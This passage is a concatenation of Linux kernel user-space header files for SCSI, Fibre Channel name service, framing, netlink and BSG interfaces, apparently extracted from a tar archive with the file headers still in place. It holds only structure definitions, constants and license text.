__le16 ioc_status; __le32 ioc_log_info; __le32 nvme_completion_entry[4]; }; #define MPI3MR_NVME_PRP_SIZE 8 /* PRP size */ #define MPI3MR_NVME_CMD_PRP1_OFFSET 24 /* PRP1 offset in NVMe cmd */ #define MPI3MR_NVME_CMD_PRP2_OFFSET 32 /* PRP2 offset in NVMe cmd */ #define MPI3MR_NVME_CMD_SGL_OFFSET 24 /* SGL offset in NVMe cmd */ #define MPI3MR_NVME_DATA_FORMAT_PRP 0 #define MPI3MR_NVME_DATA_FORMAT_SGL1 1 #define MPI3MR_NVME_DATA_FORMAT_SGL2 2 /* MPI3: task management related definitions */ struct mpi3_scsi_task_mgmt_request { __le16 host_tag; __u8 ioc_use_only02; __u8 function; __le16 ioc_use_only04; __u8 ioc_use_only06; __u8 msg_flags; __le16 change_count; __le16 dev_handle; __le16 task_host_tag; __u8 task_type; __u8 reserved0f; __le16 task_request_queue_id; __le16 reserved12; __le32 reserved14; __u8 lun[8]; }; #define MPI3_SCSITASKMGMT_MSGFLAGS_DO_NOT_SEND_TASK_IU (0x08) #define MPI3_SCSITASKMGMT_TASKTYPE_ABORT_TASK (0x01) #define MPI3_SCSITASKMGMT_TASKTYPE_ABORT_TASK_SET (0x02) #define MPI3_SCSITASKMGMT_TASKTYPE_TARGET_RESET (0x03) #define MPI3_SCSITASKMGMT_TASKTYPE_LOGICAL_UNIT_RESET (0x05) #define MPI3_SCSITASKMGMT_TASKTYPE_CLEAR_TASK_SET (0x06) #define MPI3_SCSITASKMGMT_TASKTYPE_QUERY_TASK (0x07) #define MPI3_SCSITASKMGMT_TASKTYPE_CLEAR_ACA (0x08) #define MPI3_SCSITASKMGMT_TASKTYPE_QUERY_TASK_SET (0x09) #define MPI3_SCSITASKMGMT_TASKTYPE_QUERY_ASYNC_EVENT (0x0a) #define MPI3_SCSITASKMGMT_TASKTYPE_I_T_NEXUS_RESET (0x0b) struct mpi3_scsi_task_mgmt_reply { __le16 host_tag; __u8 ioc_use_only02; __u8 function; __le16 ioc_use_only04; __u8 ioc_use_only06; __u8 msg_flags; __le16 ioc_use_only08; __le16 ioc_status; __le32 ioc_log_info; __le32 termination_count; __le32 response_data; __le32 reserved18; }; #define MPI3_SCSITASKMGMT_RSPCODE_TM_COMPLETE (0x00) #define MPI3_SCSITASKMGMT_RSPCODE_INVALID_FRAME (0x02) #define MPI3_SCSITASKMGMT_RSPCODE_TM_FUNCTION_NOT_SUPPORTED (0x04) #define MPI3_SCSITASKMGMT_RSPCODE_TM_FAILED (0x05) #define MPI3_SCSITASKMGMT_RSPCODE_TM_SUCCEEDED (0x08) #define MPI3_SCSITASKMGMT_RSPCODE_TM_INVALID_LUN (0x09) #define MPI3_SCSITASKMGMT_RSPCODE_TM_OVERLAPPED_TAG (0x0a) #define MPI3_SCSITASKMGMT_RSPCODE_IO_QUEUED_ON_IOC (0x80) #define MPI3_SCSITASKMGMT_RSPCODE_TM_NVME_DENIED (0x81) /* MPI3: PEL related definitions */ #define MPI3_PEL_LOCALE_FLAGS_NON_BLOCKING_BOOT_EVENT (0x0200) #define MPI3_PEL_LOCALE_FLAGS_BLOCKING_BOOT_EVENT (0x0100) #define MPI3_PEL_LOCALE_FLAGS_PCIE (0x0080) #define MPI3_PEL_LOCALE_FLAGS_CONFIGURATION (0x0040) #define MPI3_PEL_LOCALE_FLAGS_CONTROLER (0x0020) #define MPI3_PEL_LOCALE_FLAGS_SAS (0x0010) #define MPI3_PEL_LOCALE_FLAGS_EPACK (0x0008) #define MPI3_PEL_LOCALE_FLAGS_ENCLOSURE (0x0004) #define MPI3_PEL_LOCALE_FLAGS_PD (0x0002) #define MPI3_PEL_LOCALE_FLAGS_VD (0x0001) #define MPI3_PEL_CLASS_DEBUG (0x00) #define MPI3_PEL_CLASS_PROGRESS (0x01) #define MPI3_PEL_CLASS_INFORMATIONAL (0x02) #define MPI3_PEL_CLASS_WARNING (0x03) #define MPI3_PEL_CLASS_CRITICAL (0x04) #define MPI3_PEL_CLASS_FATAL (0x05) #define MPI3_PEL_CLASS_FAULT (0x06) /* MPI3: Function definitions */ #define MPI3_BSG_FUNCTION_MGMT_PASSTHROUGH (0x0a) #define MPI3_BSG_FUNCTION_SCSI_IO (0x20) #define MPI3_BSG_FUNCTION_SCSI_TASK_MGMT (0x21) #define MPI3_BSG_FUNCTION_SMP_PASSTHROUGH (0x22) #define MPI3_BSG_FUNCTION_NVME_ENCAPSULATED (0x24) #endif scsi/scsi_netlink.h 0000644 00000007122 15246445046 0010357 0 ustar 00 /* SPDX-License-Identifier: GPL-2.0+ WITH Linux-syscall-note */ /* * SCSI Transport Netlink Interface * Used for the posting of outbound SCSI transport events * * Copyright (C) 2006 James Smart, Emulex Corporation * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * */ #ifndef SCSI_NETLINK_H #define SCSI_NETLINK_H #include <linux/netlink.h> #include <linux/types.h> /* * This file intended to be included by both kernel and user space */ /* Single Netlink Message type to send all SCSI Transport messages */ #define SCSI_TRANSPORT_MSG NLMSG_MIN_TYPE + 1 /* SCSI Transport Broadcast Groups */ /* leaving groups 0 and 1 unassigned */ #define SCSI_NL_GRP_FC_EVENTS (1<<2) /* Group 2 */ #define SCSI_NL_GRP_CNT 3 /* SCSI_TRANSPORT_MSG event message header */ struct scsi_nl_hdr { uint8_t version; uint8_t transport; uint16_t magic; uint16_t msgtype; uint16_t msglen; } __attribute__((aligned(sizeof(uint64_t)))); /* scsi_nl_hdr->version value */ #define SCSI_NL_VERSION 1 /* scsi_nl_hdr->magic value */ #define SCSI_NL_MAGIC 0xA1B2 /* scsi_nl_hdr->transport value */ #define SCSI_NL_TRANSPORT 0 #define SCSI_NL_TRANSPORT_FC 1 #define SCSI_NL_MAX_TRANSPORTS 2 /* Transport-based scsi_nl_hdr->msgtype values are defined in each transport */ /* * GENERIC SCSI scsi_nl_hdr->msgtype Values */ /* kernel -> user */ #define SCSI_NL_SHOST_VENDOR 0x0001 /* user -> kernel */ /* SCSI_NL_SHOST_VENDOR msgtype is kernel->user and user->kernel */ /* * Message Structures : */ /* macro to round up message lengths to 8byte boundary */ #define SCSI_NL_MSGALIGN(len) (((len) + 7) & ~7) /* * SCSI HOST Vendor Unique messages : * SCSI_NL_SHOST_VENDOR * * Note: The Vendor Unique message payload will begin directly after * this structure, with the length of the payload per vmsg_datalen. * * Note: When specifying vendor_id, be sure to read the Vendor Type and ID * formatting requirements specified below */ struct scsi_nl_host_vendor_msg { struct scsi_nl_hdr snlh; /* must be 1st element ! */ uint64_t vendor_id; uint16_t host_no; uint16_t vmsg_datalen; } __attribute__((aligned(sizeof(uint64_t)))); /* * Vendor ID: * If transports post vendor-unique events, they must pass a well-known * 32-bit vendor identifier. This identifier consists of 8 bits indicating * the "type" of identifier contained, and 24 bits of id data. * * Identifiers for each type: * PCI : ID data is the 16 bit PCI Registered Vendor ID */ #define SCSI_NL_VID_TYPE_SHIFT 56 #define SCSI_NL_VID_TYPE_MASK ((__u64)0xFF << SCSI_NL_VID_TYPE_SHIFT) #define SCSI_NL_VID_TYPE_PCI ((__u64)0x01 << SCSI_NL_VID_TYPE_SHIFT) #define SCSI_NL_VID_ID_MASK (~ SCSI_NL_VID_TYPE_MASK) #define INIT_SCSI_NL_HDR(hdr, t, mtype, mlen) \ { \ (hdr)->version = SCSI_NL_VERSION; \ (hdr)->transport = t; \ (hdr)->magic = SCSI_NL_MAGIC; \ (hdr)->msgtype = mtype; \ (hdr)->msglen = mlen; \ } #endif /* SCSI_NETLINK_H */ scsi/scsi_bsg_fc.h 0000644 00000021161 15246445046 0010135 0 ustar 00 /* SPDX-License-Identifier: GPL-2.0+ WITH Linux-syscall-note */ /* * FC Transport BSG Interface * * Copyright (C) 2008 James Smart, Emulex Corporation * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * */ #ifndef SCSI_BSG_FC_H #define SCSI_BSG_FC_H /* * This file intended to be included by both kernel and user space */ /* * FC Transport SGIO v4 BSG Message Support */ /* Default BSG request timeout (in seconds) */ #define FC_DEFAULT_BSG_TIMEOUT (10 * HZ) /* * Request Message Codes supported by the FC Transport */ /* define the class masks for the message codes */ #define FC_BSG_CLS_MASK 0xF0000000 /* find object class */ #define FC_BSG_HST_MASK 0x80000000 /* fc host class */ #define FC_BSG_RPT_MASK 0x40000000 /* fc rport class */ /* fc_host Message Codes */ #define FC_BSG_HST_ADD_RPORT (FC_BSG_HST_MASK | 0x00000001) #define FC_BSG_HST_DEL_RPORT (FC_BSG_HST_MASK | 0x00000002) #define FC_BSG_HST_ELS_NOLOGIN (FC_BSG_HST_MASK | 0x00000003) #define FC_BSG_HST_CT (FC_BSG_HST_MASK | 0x00000004) #define FC_BSG_HST_VENDOR (FC_BSG_HST_MASK | 0x000000FF) /* fc_rport Message Codes */ #define FC_BSG_RPT_ELS (FC_BSG_RPT_MASK | 0x00000001) #define FC_BSG_RPT_CT (FC_BSG_RPT_MASK | 0x00000002) /* * FC Address Identifiers in Message Structures : * * Whenever a command payload contains a FC Address Identifier * (aka port_id), the value is effectively in big-endian * order, thus the array elements are decoded as follows: * element [0] is bits 23:16 of the FC Address Identifier * element [1] is bits 15:8 of the FC Address Identifier * element [2] is bits 7:0 of the FC Address Identifier */ /* * FC Host Messages */ /* FC_BSG_HST_ADDR_PORT : */ /* Request: * This message requests the FC host to login to the remote port * at the specified N_Port_Id. The remote port is to be enumerated * with the transport upon completion of the login. */ struct fc_bsg_host_add_rport { uint8_t reserved; /* FC Address Identier of the remote port to login to */ uint8_t port_id[3]; }; /* Response: * There is no additional response data - fc_bsg_reply->result is sufficient */ /* FC_BSG_HST_DEL_RPORT : */ /* Request: * This message requests the FC host to remove an enumerated * remote port and to terminate the login to it. * * Note: The driver is free to reject this request if it desires to * remain logged in with the remote port. */ struct fc_bsg_host_del_rport { uint8_t reserved; /* FC Address Identier of the remote port to logout of */ uint8_t port_id[3]; }; /* Response: * There is no additional response data - fc_bsg_reply->result is sufficient */ /* FC_BSG_HST_ELS_NOLOGIN : */ /* Request: * This message requests the FC_Host to send an ELS to a specific * N_Port_ID. The host does not need to log into the remote port, * nor does it need to enumerate the rport for further traffic * (although, the FC host is free to do so if it desires). */ struct fc_bsg_host_els { /* * ELS Command Code being sent (must be the same as byte 0 * of the payload) */ uint8_t command_code; /* FC Address Identier of the remote port to send the ELS to */ uint8_t port_id[3]; }; /* Response: */ /* fc_bsg_ctels_reply->status values */ #define FC_CTELS_STATUS_OK 0x00000000 #define FC_CTELS_STATUS_REJECT 0x00000001 #define FC_CTELS_STATUS_P_RJT 0x00000002 #define FC_CTELS_STATUS_F_RJT 0x00000003 #define FC_CTELS_STATUS_P_BSY 0x00000004 #define FC_CTELS_STATUS_F_BSY 0x00000006 struct fc_bsg_ctels_reply { /* * Note: An ELS LS_RJT may be reported in 2 ways: * a) A status of FC_CTELS_STATUS_OK is returned. The caller * is to look into the ELS receive payload to determine * LS_ACC or LS_RJT (by contents of word 0). The reject * data will be in word 1. * b) A status of FC_CTELS_STATUS_REJECT is returned, The * rjt_data field will contain valid data. * * Note: ELS LS_ACC is determined by an FC_CTELS_STATUS_OK, and * the receive payload word 0 indicates LS_ACC * (e.g. value is 0x02xxxxxx). * * Note: Similarly, a CT Reject may be reported in 2 ways: * a) A status of FC_CTELS_STATUS_OK is returned. The caller * is to look into the CT receive payload to determine * Accept or Reject (by contents of word 2). The reject * data will be in word 3. * b) A status of FC_CTELS_STATUS_REJECT is returned, The * rjt_data field will contain valid data. * * Note: x_RJT/BSY status will indicae that the rjt_data field * is valid and contains the reason/explanation values. */ uint32_t status; /* See FC_CTELS_STATUS_xxx */ /* valid if status is not FC_CTELS_STATUS_OK */ struct { uint8_t action; /* fragment_id for CT REJECT */ uint8_t reason_code; uint8_t reason_explanation; uint8_t vendor_unique; } rjt_data; }; /* FC_BSG_HST_CT : */ /* Request: * This message requests that a CT Request be performed with the * indicated N_Port_ID. The driver is responsible for logging in with * the fabric and/or N_Port_ID, etc as per FC rules. This request does * not mandate that the driver must enumerate the destination in the * transport. The driver is allowed to decide whether to enumerate it, * and whether to tear it down after the request. */ struct fc_bsg_host_ct { uint8_t reserved; /* FC Address Identier of the remote port to send the ELS to */ uint8_t port_id[3]; /* * We need words 0-2 of the generic preamble for the LLD's */ uint32_t preamble_word0; /* revision & IN_ID */ uint32_t preamble_word1; /* GS_Type, GS_SubType, Options, Rsvd */ uint32_t preamble_word2; /* Cmd Code, Max Size */ }; /* Response: * * The reply structure is an fc_bsg_ctels_reply structure */ /* FC_BSG_HST_VENDOR : */ /* Request: * Note: When specifying vendor_id, be sure to read the Vendor Type and ID * formatting requirements specified in scsi_netlink.h */ struct fc_bsg_host_vendor { /* * Identifies the vendor that the message is formatted for. This * should be the recipient of the message. */ uint64_t vendor_id; /* start of vendor command area */ uint32_t vendor_cmd[0]; }; /* Response: */ struct fc_bsg_host_vendor_reply { /* start of vendor response area */ uint32_t vendor_rsp[0]; }; /* * FC Remote Port Messages */ /* FC_BSG_RPT_ELS : */ /* Request: * This message requests that an ELS be performed with the rport. */ struct fc_bsg_rport_els { /* * ELS Command Code being sent (must be the same as * byte 0 of the payload) */ uint8_t els_code; }; /* Response: * * The reply structure is an fc_bsg_ctels_reply structure */ /* FC_BSG_RPT_CT : */ /* Request: * This message requests that a CT Request be performed with the rport. */ struct fc_bsg_rport_ct { /* * We need words 0-2 of the generic preamble for the LLD's */ uint32_t preamble_word0; /* revision & IN_ID */ uint32_t preamble_word1; /* GS_Type, GS_SubType, Options, Rsvd */ uint32_t preamble_word2; /* Cmd Code, Max Size */ }; /* Response: * * The reply structure is an fc_bsg_ctels_reply structure */ /* request (CDB) structure of the sg_io_v4 */ struct fc_bsg_request { uint32_t msgcode; union { struct fc_bsg_host_add_rport h_addrport; struct fc_bsg_host_del_rport h_delrport; struct fc_bsg_host_els h_els; struct fc_bsg_host_ct h_ct; struct fc_bsg_host_vendor h_vendor; struct fc_bsg_rport_els r_els; struct fc_bsg_rport_ct r_ct; } rqst_data; } __attribute__((packed)); /* response (request sense data) structure of the sg_io_v4 */ struct fc_bsg_reply { /* * The completion result. Result exists in two forms: * if negative, it is an -Exxx system errno value. There will * be no further reply information supplied. * else, it's the 4-byte scsi error result, with driver, host, * msg and status fields. The per-msgcode reply structure * will contain valid data. */ uint32_t result; /* If there was reply_payload, how much was recevied ? */ uint32_t reply_payload_rcv_len; union { struct fc_bsg_host_vendor_reply vendor_reply; struct fc_bsg_ctels_reply ctels_reply; } reply_data; }; #endif /* SCSI_BSG_FC_H */ scsi/fc/fc_ns.h 0000644 00000011565 15246445046 0007360 0 ustar 00 /* SPDX-License-Identifier: GPL-2.0 WITH Linux-syscall-note */ /* * Copyright(c) 2007 Intel Corporation. All rights reserved. * * This program is free software; you can redistribute it and/or modify it * under the terms and conditions of the GNU General Public License, * version 2, as published by the Free Software Foundation. * * This program is distributed in the hope it will be useful, but WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for * more details. * * You should have received a copy of the GNU General Public License along with * this program; if not, write to the Free Software Foundation, Inc., * 51 Franklin St - Fifth Floor, Boston, MA 02110-1301 USA. * * Maintained at www.Open-FCoE.org */ #ifndef _FC_NS_H_ #define _FC_NS_H_ #include <linux/types.h> /* * Fibre Channel Services - Name Service (dNS) * From T11.org FC-GS-2 Rev 5.3 November 1998. */ /* * Common-transport sub-type for Name Server. */ #define FC_NS_SUBTYPE 2 /* fs_ct_hdr.ct_fs_subtype */ /* * Name server Requests. * Note: this is an incomplete list, some unused requests are omitted. */ enum fc_ns_req { FC_NS_GA_NXT = 0x0100, /* get all next */ FC_NS_GI_A = 0x0101, /* get identifiers - scope */ FC_NS_GPN_ID = 0x0112, /* get port name by ID */ FC_NS_GNN_ID = 0x0113, /* get node name by ID */ FC_NS_GSPN_ID = 0x0118, /* get symbolic port name */ FC_NS_GID_PN = 0x0121, /* get ID for port name */ FC_NS_GID_NN = 0x0131, /* get IDs for node name */ FC_NS_GID_FT = 0x0171, /* get IDs by FC4 type */ FC_NS_GPN_FT = 0x0172, /* get port names by FC4 type */ FC_NS_GID_PT = 0x01a1, /* get IDs by port type */ FC_NS_RPN_ID = 0x0212, /* reg port name for ID */ FC_NS_RNN_ID = 0x0213, /* reg node name for ID */ FC_NS_RFT_ID = 0x0217, /* reg FC4 type for ID */ FC_NS_RSPN_ID = 0x0218, /* reg symbolic port name */ FC_NS_RFF_ID = 0x021f, /* reg FC4 Features for ID */ FC_NS_RSNN_NN = 0x0239, /* reg symbolic node name */ }; /* * Port type values. */ enum fc_ns_pt { FC_NS_UNID_PORT = 0x00, /* unidentified */ FC_NS_N_PORT = 0x01, /* N port */ FC_NS_NL_PORT = 0x02, /* NL port */ FC_NS_FNL_PORT = 0x03, /* F/NL port */ FC_NS_NX_PORT = 0x7f, /* Nx port */ FC_NS_F_PORT = 0x81, /* F port */ FC_NS_FL_PORT = 0x82, /* FL port */ FC_NS_E_PORT = 0x84, /* E port */ FC_NS_B_PORT = 0x85, /* B port */ }; /* * Port type object. */ struct fc_ns_pt_obj { __u8 pt_type; }; /* * Port ID object */ struct fc_ns_fid { __u8 fp_flags; /* flags for responses only */ __u8 fp_fid[3]; }; /* * fp_flags in port ID object, for responses only. */ #define FC_NS_FID_LAST 0x80 /* last object */ /* * FC4-types object. */ #define FC_NS_TYPES 256 /* number of possible FC-4 types */ #define FC_NS_BPW 32 /* bits per word in bitmap */ struct fc_ns_fts { __be32 ff_type_map[FC_NS_TYPES / FC_NS_BPW]; /* bitmap of FC-4 types */ }; /* * FC4-features object. */ struct fc_ns_ff { __be32 fd_feat[FC_NS_TYPES * 4 / FC_NS_BPW]; /* 4-bits per FC-type */ }; /* * GID_PT request. */ struct fc_ns_gid_pt { __u8 fn_pt_type; __u8 fn_domain_id_scope; __u8 fn_area_id_scope; __u8 fn_resvd; }; /* * GID_FT or GPN_FT request. */ struct fc_ns_gid_ft { __u8 fn_resvd; __u8 fn_domain_id_scope; __u8 fn_area_id_scope; __u8 fn_fc4_type; }; /* * GPN_FT response. */ struct fc_gpn_ft_resp { __u8 fp_flags; /* see fp_flags definitions above */ __u8 fp_fid[3]; /* port ID */ __be32 fp_resvd; __be64 fp_wwpn; /* port name */ }; /* * GID_PN request */ struct fc_ns_gid_pn { __be64 fn_wwpn; /* port name */ }; /* * GID_PN response or GSPN_ID request */ struct fc_gid_pn_resp { __u8 fp_resvd; __u8 fp_fid[3]; /* port ID */ }; /* * GSPN_ID response */ struct fc_gspn_resp { __u8 fp_name_len; char fp_name[]; }; /* * RFT_ID request - register FC-4 types for ID. */ struct fc_ns_rft_id { struct fc_ns_fid fr_fid; /* port ID object */ struct fc_ns_fts fr_fts; /* FC-4 types object */ }; /* * RPN_ID request - register port name for ID. * RNN_ID request - register node name for ID. */ struct fc_ns_rn_id { struct fc_ns_fid fr_fid; /* port ID object */ __be64 fr_wwn; /* node name or port name */ } __attribute__((__packed__)); /* * RSNN_NN request - register symbolic node name */ struct fc_ns_rsnn { __be64 fr_wwn; /* node name */ __u8 fr_name_len; char fr_name[]; } __attribute__((__packed__)); /* * RSPN_ID request - register symbolic port name */ struct fc_ns_rspn { struct fc_ns_fid fr_fid; /* port ID object */ __u8 fr_name_len; char fr_name[]; } __attribute__((__packed__)); /* * RFF_ID request - register FC-4 Features for ID. */ struct fc_ns_rff_id { struct fc_ns_fid fr_fid; /* port ID object */ __u8 fr_resvd[2]; __u8 fr_feat; /* FC-4 Feature bits */ __u8 fr_type; /* FC-4 type */ } __attribute__((__packed__)); #endif /* _FC_NS_H_ */ scsi/fc/fc_fs.h 0000644 00000030117 15246445046 0007342 0 ustar 00 /* SPDX-License-Identifier: GPL-2.0 WITH Linux-syscall-note */ /* * Copyright(c) 2007 Intel Corporation. All rights reserved. * * This program is free software; you can redistribute it and/or modify it * under the terms and conditions of the GNU General Public License, * version 2, as published by the Free Software Foundation. * * This program is distributed in the hope it will be useful, but WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for * more details. * * You should have received a copy of the GNU General Public License along with * this program; if not, write to the Free Software Foundation, Inc., * 51 Franklin St - Fifth Floor, Boston, MA 02110-1301 USA. * * Maintained at www.Open-FCoE.org */ #ifndef _FC_FS_H_ #define _FC_FS_H_ #include <linux/types.h> /* * Fibre Channel Framing and Signalling definitions. * From T11 FC-FS-2 Rev 0.90 - 9 August 2005. */ /* * Frame header */ struct fc_frame_header { __u8 fh_r_ctl; /* routing control */ __u8 fh_d_id[3]; /* Destination ID */ __u8 fh_cs_ctl; /* class of service control / pri */ __u8 fh_s_id[3]; /* Source ID */ __u8 fh_type; /* see enum fc_fh_type below */ __u8 fh_f_ctl[3]; /* frame control */ __u8 fh_seq_id; /* sequence ID */ __u8 fh_df_ctl; /* data field control */ __be16 fh_seq_cnt; /* sequence count */ __be16 fh_ox_id; /* originator exchange ID */ __be16 fh_rx_id; /* responder exchange ID */ __be32 fh_parm_offset; /* parameter or relative offset */ }; #define FC_FRAME_HEADER_LEN 24 /* expected length of structure */ #define FC_MAX_PAYLOAD 2112U /* max payload length in bytes */ #define FC_MIN_MAX_PAYLOAD 256U /* lower limit on max payload */ #define FC_MAX_FRAME (FC_MAX_PAYLOAD + FC_FRAME_HEADER_LEN) #define FC_MIN_MAX_FRAME (FC_MIN_MAX_PAYLOAD + FC_FRAME_HEADER_LEN) /* * fh_r_ctl - Routing control definitions. */ /* * FC-4 device_data. */ enum fc_rctl { FC_RCTL_DD_UNCAT = 0x00, /* uncategorized information */ FC_RCTL_DD_SOL_DATA = 0x01, /* solicited data */ FC_RCTL_DD_UNSOL_CTL = 0x02, /* unsolicited control */ FC_RCTL_DD_SOL_CTL = 0x03, /* solicited control or reply */ FC_RCTL_DD_UNSOL_DATA = 0x04, /* unsolicited data */ FC_RCTL_DD_DATA_DESC = 0x05, /* data descriptor */ FC_RCTL_DD_UNSOL_CMD = 0x06, /* unsolicited command */ FC_RCTL_DD_CMD_STATUS = 0x07, /* command status */ #define FC_RCTL_ILS_REQ FC_RCTL_DD_UNSOL_CTL /* ILS request */ #define FC_RCTL_ILS_REP FC_RCTL_DD_SOL_CTL /* ILS reply */ /* * Extended Link_Data */ FC_RCTL_ELS_REQ = 0x22, /* extended link services request */ FC_RCTL_ELS_REP = 0x23, /* extended link services reply */ FC_RCTL_ELS4_REQ = 0x32, /* FC-4 ELS request */ FC_RCTL_ELS4_REP = 0x33, /* FC-4 ELS reply */ /* * Optional Extended Headers */ FC_RCTL_VFTH = 0x50, /* virtual fabric tagging header */ FC_RCTL_IFRH = 0x51, /* inter-fabric routing header */ FC_RCTL_ENCH = 0x52, /* encapsulation header */ /* * Basic Link Services fh_r_ctl values. */ FC_RCTL_BA_NOP = 0x80, /* basic link service NOP */ FC_RCTL_BA_ABTS = 0x81, /* basic link service abort */ FC_RCTL_BA_RMC = 0x82, /* remove connection */ FC_RCTL_BA_ACC = 0x84, /* basic accept */ FC_RCTL_BA_RJT = 0x85, /* basic reject */ FC_RCTL_BA_PRMT = 0x86, /* dedicated connection preempted */ /* * Link Control Information. */ FC_RCTL_ACK_1 = 0xc0, /* acknowledge_1 */ FC_RCTL_ACK_0 = 0xc1, /* acknowledge_0 */ FC_RCTL_P_RJT = 0xc2, /* port reject */ FC_RCTL_F_RJT = 0xc3, /* fabric reject */ FC_RCTL_P_BSY = 0xc4, /* port busy */ FC_RCTL_F_BSY = 0xc5, /* fabric busy to data frame */ FC_RCTL_F_BSYL = 0xc6, /* fabric busy to link control frame */ FC_RCTL_LCR = 0xc7, /* link credit reset */ FC_RCTL_END = 0xc9, /* end */ }; /* incomplete list of definitions */ /* * R_CTL names initializer. * Please keep this matching the above definitions. */ #define FC_RCTL_NAMES_INIT { \ [FC_RCTL_DD_UNCAT] = "uncat", \ [FC_RCTL_DD_SOL_DATA] = "sol data", \ [FC_RCTL_DD_UNSOL_CTL] = "unsol ctl", \ [FC_RCTL_DD_SOL_CTL] = "sol ctl/reply", \ [FC_RCTL_DD_UNSOL_DATA] = "unsol data", \ [FC_RCTL_DD_DATA_DESC] = "data desc", \ [FC_RCTL_DD_UNSOL_CMD] = "unsol cmd", \ [FC_RCTL_DD_CMD_STATUS] = "cmd status", \ [FC_RCTL_ELS_REQ] = "ELS req", \ [FC_RCTL_ELS_REP] = "ELS rep", \ [FC_RCTL_ELS4_REQ] = "FC-4 ELS req", \ [FC_RCTL_ELS4_REP] = "FC-4 ELS rep", \ [FC_RCTL_BA_NOP] = "BLS NOP", \ [FC_RCTL_BA_ABTS] = "BLS abort", \ [FC_RCTL_BA_RMC] = "BLS remove connection", \ [FC_RCTL_BA_ACC] = "BLS accept", \ [FC_RCTL_BA_RJT] = "BLS reject", \ [FC_RCTL_BA_PRMT] = "BLS dedicated connection preempted", \ [FC_RCTL_ACK_1] = "LC ACK_1", \ [FC_RCTL_ACK_0] = "LC ACK_0", \ [FC_RCTL_P_RJT] = "LC port reject", \ [FC_RCTL_F_RJT] = "LC fabric reject", \ [FC_RCTL_P_BSY] = "LC port busy", \ [FC_RCTL_F_BSY] = "LC fabric busy to data frame", \ [FC_RCTL_F_BSYL] = "LC fabric busy to link control frame",\ [FC_RCTL_LCR] = "LC link credit reset", \ [FC_RCTL_END] = "LC end", \ } /* * Well-known fabric addresses. */ enum fc_well_known_fid { FC_FID_NONE = 0x000000, /* No destination */ FC_FID_BCAST = 0xffffff, /* broadcast */ FC_FID_FLOGI = 0xfffffe, /* fabric login */ FC_FID_FCTRL = 0xfffffd, /* fabric controller */ FC_FID_DIR_SERV = 0xfffffc, /* directory server */ FC_FID_TIME_SERV = 0xfffffb, /* time server */ FC_FID_MGMT_SERV = 0xfffffa, /* management server */ FC_FID_QOS = 0xfffff9, /* QoS Facilitator */ FC_FID_ALIASES = 0xfffff8, /* alias server (FC-PH2) */ FC_FID_SEC_KEY = 0xfffff7, /* Security key dist. server */ FC_FID_CLOCK = 0xfffff6, /* clock synch server */ FC_FID_MCAST_SERV = 0xfffff5, /* multicast server */ }; #define FC_FID_WELL_KNOWN_MAX 0xffffff /* highest well-known fabric ID */ #define FC_FID_WELL_KNOWN_BASE 0xfffff5 /* start of well-known fabric ID */ /* * Other well-known addresses, outside the above contiguous range. */ #define FC_FID_DOM_MGR 0xfffc00 /* domain manager base */ /* * Fabric ID bytes. */ #define FC_FID_DOMAIN 0 #define FC_FID_PORT 1 #define FC_FID_LINK 2 /* * fh_type codes */ enum fc_fh_type { FC_TYPE_BLS = 0x00, /* basic link service */ FC_TYPE_ELS = 0x01, /* extended link service */ FC_TYPE_IP = 0x05, /* IP over FC, RFC 4338 */ FC_TYPE_FCP = 0x08, /* SCSI FCP */ FC_TYPE_CT = 0x20, /* Fibre Channel Services (FC-CT) */ FC_TYPE_ILS = 0x22, /* internal link service */ FC_TYPE_NVME = 0x28, /* FC-NVME */ }; /* * FC_TYPE names initializer. * Please keep this matching the above definitions. */ #define FC_TYPE_NAMES_INIT { \ [FC_TYPE_BLS] = "BLS", \ [FC_TYPE_ELS] = "ELS", \ [FC_TYPE_IP] = "IP", \ [FC_TYPE_FCP] = "FCP", \ [FC_TYPE_CT] = "CT", \ [FC_TYPE_ILS] = "ILS", \ [FC_TYPE_NVME] = "NVME", \ } /* * Exchange IDs. */ #define FC_XID_UNKNOWN 0xffff /* unknown exchange ID */ #define FC_XID_MIN 0x0 /* supported min exchange ID */ #define FC_XID_MAX 0xfffe /* supported max exchange ID */ /* * fh_f_ctl - Frame control flags. */ #define FC_FC_EX_CTX (1 << 23) /* sent by responder to exchange */ #define FC_FC_SEQ_CTX (1 << 22) /* sent by responder to sequence */ #define FC_FC_FIRST_SEQ (1 << 21) /* first sequence of this exchange */ #define FC_FC_LAST_SEQ (1 << 20) /* last sequence of this exchange */ #define FC_FC_END_SEQ (1 << 19) /* last frame of sequence */ #define FC_FC_END_CONN (1 << 18) /* end of class 1 connection pending */ #define FC_FC_RES_B17 (1 << 17) /* reserved */ #define FC_FC_SEQ_INIT (1 << 16) /* transfer of sequence initiative */ #define FC_FC_X_ID_REASS (1 << 15) /* exchange ID has been changed */ #define FC_FC_X_ID_INVAL (1 << 14) /* exchange ID invalidated */ #define FC_FC_ACK_1 (1 << 12) /* 13:12 = 1: ACK_1 expected */ #define FC_FC_ACK_N (2 << 12) /* 13:12 = 2: ACK_N expected */ #define FC_FC_ACK_0 (3 << 12) /* 13:12 = 3: ACK_0 expected */ #define FC_FC_RES_B11 (1 << 11) /* reserved */ #define FC_FC_RES_B10 (1 << 10) /* reserved */ #define FC_FC_RETX_SEQ (1 << 9) /* retransmitted sequence */ #define FC_FC_UNI_TX (1 << 8) /* unidirectional transmit (class 1) */ #define FC_FC_CONT_SEQ(i) ((i) << 6) #define FC_FC_ABT_SEQ(i) 